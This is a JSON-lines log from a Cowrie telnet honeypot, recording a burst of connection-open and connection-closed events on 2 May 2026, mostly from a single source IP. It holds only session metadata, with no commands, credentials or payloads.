{"eventid":"cowrie.session.closed","duration":31.24058985710144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:48.599376Z","src_ip":"5.196.58.99","session":"be6ecf819095","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.952364444732666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:48.714756Z","src_ip":"5.196.58.99","session":"c870ac47efd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.959391117095947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:49.044600Z","src_ip":"5.196.58.99","session":"906ca19ffe6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.081140995025635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:49.064701Z","src_ip":"5.196.58.99","session":"cb116fc676ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58150,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2b64501e08a","protocol":"telnet","message":"New connection: 5.196.58.99:58150 (10.17.0.5:23) [session: a2b64501e08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:49.242336Z"}
{"eventid":"cowrie.session.closed","duration":30.611985683441162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:49.408028Z","src_ip":"5.196.58.99","session":"489f462347ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.368455171585083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:49.441431Z","src_ip":"5.196.58.99","session":"d1ce51155979","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.978025436401367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:49.981831Z","src_ip":"5.196.58.99","session":"ce32f3e84896","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58154,"dst_ip":"10.17.0.5","dst_port":23,"session":"f368c4d0d099","protocol":"telnet","message":"New connection: 5.196.58.99:58154 (10.17.0.5:23) [session: f368c4d0d099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:50.147537Z"}
{"eventid":"cowrie.session.closed","duration":31.04388666152954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:50.160532Z","src_ip":"5.196.58.99","session":"1131cd8cf58f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58170,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4504862b490","protocol":"telnet","message":"New connection: 5.196.58.99:58170 (10.17.0.5:23) [session: e4504862b490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:50.263057Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58186,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2595fe5ae8e","protocol":"telnet","message":"New connection: 5.196.58.99:58186 (10.17.0.5:23) [session: e2595fe5ae8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:50.759485Z"}
{"eventid":"cowrie.session.closed","duration":31.11098623275757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:50.834516Z","src_ip":"5.196.58.99","session":"c3e944cfdb56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58134,"dst_ip":"10.17.0.5","dst_port":23,"session":"22a581de510f","protocol":"telnet","message":"New connection: 5.196.58.99:58134 (10.17.0.5:23) [session: 22a581de510f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:51.149455Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41398,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cace9fc9fdc","protocol":"telnet","message":"New connection: 20.123.41.163:41398 (10.17.0.5:23) [session: 7cace9fc9fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:51.743572Z"}
{"eventid":"cowrie.session.closed","duration":31.24836039543152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:51.828280Z","src_ip":"5.196.58.99","session":"4cf72f49558a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58202,"dst_ip":"10.17.0.5","dst_port":23,"session":"35d396e99fea","protocol":"telnet","message":"New connection: 5.196.58.99:58202 (10.17.0.5:23) [session: 35d396e99fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:52.450579Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58216,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa21e6e2307f","protocol":"telnet","message":"New connection: 5.196.58.99:58216 (10.17.0.5:23) [session: fa21e6e2307f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:52.569188Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58230,"dst_ip":"10.17.0.5","dst_port":23,"session":"e994c2dca11d","protocol":"telnet","message":"New connection: 5.196.58.99:58230 (10.17.0.5:23) [session: e994c2dca11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:52.577609Z"}
{"eventid":"cowrie.session.closed","duration":31.05382204055786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:52.739903Z","src_ip":"5.196.58.99","session":"6ff1e565b4ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58246,"dst_ip":"10.17.0.5","dst_port":23,"session":"64feb2bb8592","protocol":"telnet","message":"New connection: 5.196.58.99:58246 (10.17.0.5:23) [session: 64feb2bb8592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:52.752842Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58252,"dst_ip":"10.17.0.5","dst_port":23,"session":"787c00f423e1","protocol":"telnet","message":"New connection: 5.196.58.99:58252 (10.17.0.5:23) [session: 787c00f423e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:52.899741Z"}
{"eventid":"cowrie.session.closed","duration":31.403390645980835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:53.016009Z","src_ip":"5.196.58.99","session":"82229b581331","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58160,"dst_ip":"10.17.0.5","dst_port":23,"session":"3850b77fa2f7","protocol":"telnet","message":"New connection: 5.196.58.99:58160 (10.17.0.5:23) [session: 3850b77fa2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:53.233588Z"}
{"eventid":"cowrie.session.closed","duration":31.220559120178223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:53.488508Z","src_ip":"5.196.58.99","session":"bdb2f9434397","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.208949327468872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:53.493366Z","src_ip":"5.196.58.99","session":"130063d9af12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58188,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d253565f87f","protocol":"telnet","message":"New connection: 5.196.58.99:58188 (10.17.0.5:23) [session: 9d253565f87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:54.220232Z"}
{"eventid":"cowrie.session.closed","duration":31.05834412574768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:54.377902Z","src_ip":"5.196.58.99","session":"f48d0d28d35b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42500,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc7dd528d398","protocol":"telnet","message":"New connection: 5.196.58.99:42500 (10.17.0.5:23) [session: dc7dd528d398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:54.418546Z"}
{"eventid":"cowrie.session.closed","duration":31.264819145202637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:54.503605Z","src_ip":"5.196.58.99","session":"29402e025db6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0043683052063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:54.546740Z","src_ip":"5.196.58.99","session":"2c5600c649eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42506,"dst_ip":"10.17.0.5","dst_port":23,"session":"d545fe1b136c","protocol":"telnet","message":"New connection: 5.196.58.99:42506 (10.17.0.5:23) [session: d545fe1b136c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:54.709505Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42512,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7887f2230c1","protocol":"telnet","message":"New connection: 5.196.58.99:42512 (10.17.0.5:23) [session: c7887f2230c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:55.764868Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42528,"dst_ip":"10.17.0.5","dst_port":23,"session":"eae264d50cd4","protocol":"telnet","message":"New connection: 5.196.58.99:42528 (10.17.0.5:23) [session: eae264d50cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:55.849005Z"}
{"eventid":"cowrie.session.closed","duration":53.80837678909302,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:55.946036Z","src_ip":"20.123.41.163","session":"b3cd78cfe365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.178523540496826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:56.045531Z","src_ip":"5.196.58.99","session":"2113f11c378e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.968139171600342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:56.065907Z","src_ip":"5.196.58.99","session":"bc7c9e1000bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42544,"dst_ip":"10.17.0.5","dst_port":23,"session":"818231bf81ab","protocol":"telnet","message":"New connection: 5.196.58.99:42544 (10.17.0.5:23) [session: 818231bf81ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:56.162635Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42558,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fe20e2411f4","protocol":"telnet","message":"New connection: 5.196.58.99:42558 (10.17.0.5:23) [session: 8fe20e2411f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:56.563900Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42574,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3a55dc45317","protocol":"telnet","message":"New connection: 5.196.58.99:42574 (10.17.0.5:23) [session: f3a55dc45317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:56.832051Z"}
{"eventid":"cowrie.session.closed","duration":31.699259996414185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:56.956454Z","src_ip":"5.196.58.99","session":"cb2931012a22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42584,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb6a6f93886d","protocol":"telnet","message":"New connection: 5.196.58.99:42584 (10.17.0.5:23) [session: bb6a6f93886d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:56.987756Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42586,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5829f63d5e3","protocol":"telnet","message":"New connection: 5.196.58.99:42586 (10.17.0.5:23) [session: a5829f63d5e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:57.003261Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42596,"dst_ip":"10.17.0.5","dst_port":23,"session":"528c64f0c406","protocol":"telnet","message":"New connection: 5.196.58.99:42596 (10.17.0.5:23) [session: 528c64f0c406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:57.061253Z"}
{"eventid":"cowrie.session.closed","duration":30.68271541595459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:57.069201Z","src_ip":"5.196.58.99","session":"2230f174005b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.241925954818726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:57.078725Z","src_ip":"5.196.58.99","session":"ea7af20948bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42602,"dst_ip":"10.17.0.5","dst_port":23,"session":"00350346f458","protocol":"telnet","message":"New connection: 5.196.58.99:42602 (10.17.0.5:23) [session: 00350346f458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:57.348480Z"}
{"eventid":"cowrie.session.closed","duration":30.76502823829651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:57.515826Z","src_ip":"5.196.58.99","session":"f82a97eb27c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.569618225097656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:57.603917Z","src_ip":"5.196.58.99","session":"5ff1a686b348","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42622,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd98c47666fd","protocol":"telnet","message":"New connection: 5.196.58.99:42622 (10.17.0.5:23) [session: dd98c47666fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:57.877537Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42626,"dst_ip":"10.17.0.5","dst_port":23,"session":"b299a5e9b618","protocol":"telnet","message":"New connection: 5.196.58.99:42626 (10.17.0.5:23) [session: b299a5e9b618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:57.934862Z"}
{"eventid":"cowrie.session.closed","duration":30.4997296333313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:58.115593Z","src_ip":"5.196.58.99","session":"16bf2bece070","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.984546899795532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:58.227336Z","src_ip":"5.196.58.99","session":"8cf3031c6970","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.206525564193726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:58.480965Z","src_ip":"5.196.58.99","session":"491016e5c82d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42618,"dst_ip":"10.17.0.5","dst_port":23,"session":"371c22274a31","protocol":"telnet","message":"New connection: 5.196.58.99:42618 (10.17.0.5:23) [session: 371c22274a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:58.606017Z"}
{"eventid":"cowrie.session.closed","duration":31.548579931259155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:58.740852Z","src_ip":"5.196.58.99","session":"d195bf166832","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42634,"dst_ip":"10.17.0.5","dst_port":23,"session":"45adb77d1214","protocol":"telnet","message":"New connection: 5.196.58.99:42634 (10.17.0.5:23) [session: 45adb77d1214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:58.758098Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42640,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8f131772da7","protocol":"telnet","message":"New connection: 5.196.58.99:42640 (10.17.0.5:23) [session: d8f131772da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:59.031384Z"}
{"eventid":"cowrie.session.closed","duration":30.943504333496094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:59.048662Z","src_ip":"5.196.58.99","session":"a7c9e78f104b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.293395042419434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:59.231616Z","src_ip":"5.196.58.99","session":"abd44e546583","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128583192825317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:59.364357Z","src_ip":"5.196.58.99","session":"f521361735e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42638,"dst_ip":"10.17.0.5","dst_port":23,"session":"639f9baeab98","protocol":"telnet","message":"New connection: 5.196.58.99:42638 (10.17.0.5:23) [session: 639f9baeab98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:59.787412Z"}
{"eventid":"cowrie.session.closed","duration":31.76126217842102,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:59.889531Z","src_ip":"5.196.58.99","session":"a50c51ccbd76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42652,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebce87344e56","protocol":"telnet","message":"New connection: 5.196.58.99:42652 (10.17.0.5:23) [session: ebce87344e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:59.911552Z"}
{"eventid":"cowrie.session.closed","duration":31.416086196899414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:59.993710Z","src_ip":"5.196.58.99","session":"8acf12829606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.306693077087402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:00.082315Z","src_ip":"5.196.58.99","session":"318cebc07535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.563788652420044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:00.741363Z","src_ip":"5.196.58.99","session":"66534f60d552","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83127474784851,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:01.143171Z","src_ip":"5.196.58.99","session":"850c1c48caea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42664,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65863bf44b1","protocol":"telnet","message":"New connection: 5.196.58.99:42664 (10.17.0.5:23) [session: a65863bf44b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:01.540217Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42668,"dst_ip":"10.17.0.5","dst_port":23,"session":"277f9f07a22b","protocol":"telnet","message":"New connection: 5.196.58.99:42668 (10.17.0.5:23) [session: 277f9f07a22b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:01.607970Z"}
{"eventid":"cowrie.session.closed","duration":30.99554181098938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:01.653097Z","src_ip":"5.196.58.99","session":"6b8f7a12239c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42678,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e00ce7bb387","protocol":"telnet","message":"New connection: 5.196.58.99:42678 (10.17.0.5:23) [session: 7e00ce7bb387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:01.738040Z"}
{"eventid":"cowrie.session.closed","duration":31.157453298568726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:01.913244Z","src_ip":"5.196.58.99","session":"d9d0418e0bd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.573137998580933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:02.235957Z","src_ip":"5.196.58.99","session":"575cdf4b348a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42656,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b85c4fb1933","protocol":"telnet","message":"New connection: 5.196.58.99:42656 (10.17.0.5:23) [session: 9b85c4fb1933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:02.386351Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42710,"dst_ip":"10.17.0.5","dst_port":23,"session":"188cc89bbda2","protocol":"telnet","message":"New connection: 5.196.58.99:42710 (10.17.0.5:23) [session: 188cc89bbda2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:02.402096Z"}
{"eventid":"cowrie.session.closed","duration":30.750035047531128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:03.293821Z","src_ip":"5.196.58.99","session":"b28ae3aafa9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42724,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c0718cb634f","protocol":"telnet","message":"New connection: 5.196.58.99:42724 (10.17.0.5:23) [session: 6c0718cb634f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:03.375774Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42726,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb8210444237","protocol":"telnet","message":"New connection: 5.196.58.99:42726 (10.17.0.5:23) [session: fb8210444237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:03.410694Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42736,"dst_ip":"10.17.0.5","dst_port":23,"session":"562db73dd870","protocol":"telnet","message":"New connection: 5.196.58.99:42736 (10.17.0.5:23) [session: 562db73dd870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:03.556556Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54476,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b957a744ced","protocol":"telnet","message":"New connection: 5.196.58.99:54476 (10.17.0.5:23) [session: 1b957a744ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:03.835326Z"}
{"eventid":"cowrie.session.closed","duration":31.46142292022705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:03.955941Z","src_ip":"5.196.58.99","session":"b9ce935c4867","protocol":"telnet"}
